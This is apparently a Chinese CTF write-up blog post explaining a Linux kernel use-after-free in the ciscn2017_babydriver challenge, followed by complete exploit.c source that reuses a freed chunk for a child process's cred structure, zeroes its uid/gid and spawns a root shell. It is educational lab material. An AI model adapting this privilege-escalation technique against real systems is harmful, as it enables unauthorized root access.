Linux Kernel UAF
与用户态下的glibc差不多,都是对已经释放的空间未申请就直接使用,内核的UAF往往是出现在多线程多进程多文件的情况下。即,假如某个用户程序对用一个内核驱动文件打开了两次,有两个文件描述符,它们都指向了该驱动,又因为是在同一个程序里,所以当我们释放掉其中一个文件描述符后,还可以使用另一个文件描述符来操控驱动。
为了加深理解,我们就以一题为例
ciscn2017_babydriver
我们用IDA分析一下驱动程序,ioctl函数定义了一个交互命令0x10001,作用是释放之前的堆,申请一个用户指定大小的堆。
在单文件的情况下,没有问题,加入我们在程序里,对该驱动程序,打开了两个文件描述符,先利用第一个文件描述符来与驱动交互,申请一个堆。然后关闭第一个文件描述符。在关闭文件描述符时,对应的close函数会被调用
该函数释放了堆。然而,我们仍然可以使用第二个文件描述符来对这个堆进行读写操作。,这就造成了UAF。
Linux kernel 使用slab/slub来分配内存,与glibc下的ptmalloc相同点是,如果在空闲的堆里存在符合申请的大小的堆,则直接把这个堆处理后返回给申请方。为了提权,关键就是修改进程的cred结构,而进程的cred结构也是保存在堆里,进程创建时,就会申请cred结构的空间,来存放cred结构。如果cred结构申请到我们能控制的空间里,那么我们就能*修改cred结构,实现提权。
为了实现这个目的,我们可以申请一个与cred结构大小相等的堆,然后释放掉。这样,如果我们接下来fork一个子进程,那么子进程申请cred结构的空间时,发现空闲堆里有符合的堆,则拿过来用,而这个堆正是我们UAF能够控制的。利用UAF,把cred结构里的uid、gid等覆盖为0,即可得到root权限。至于cred的大小如何确定,有两种方法,第一种是查看对应版本的linux内核源码;第二种则是写一个简易的c语言程序,输出cred的大小。
本题的linux内核版本为4.4.72,cred结构大小为0xA8。
知道了以上的原理后,我们就可以编写exploit.c程序来提权了。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/wait.h>
int main() {
int fd1 = open("/dev/babydev",O_RDWR);
int fd2 = open("/dev/babydev",O_RDWR);
char buf[30];
if (fd1 < 0 || fd2 < 0) {
printf("open file error!!\n");
exit(-1);
}
//申请一个与cred结构体大小一样的堆
ioctl(fd1,0x10001,0xA8);
//释放这个堆
close(fd1);
int pid = fork();
if (pid < 0) {
printf("[-]fork error!!\n");
exit(-1);
} else if (pid == 0) { //子进程
//UAF,通过fd2,覆盖子进程的cred结构里的几个uid、gid
memset(buf,0,28);
write(fd2,buf,28);
if (getuid() == 0) {
printf("[+]rooted!!\n");
system("/bin/sh");
}
} else { //父进程等待子进程结束
wait(NULL);
}
close(fd2);
return 0;
}
haivk
发布了66 篇原创文章 · 获赞 16 · 访问量 6833
私信
关注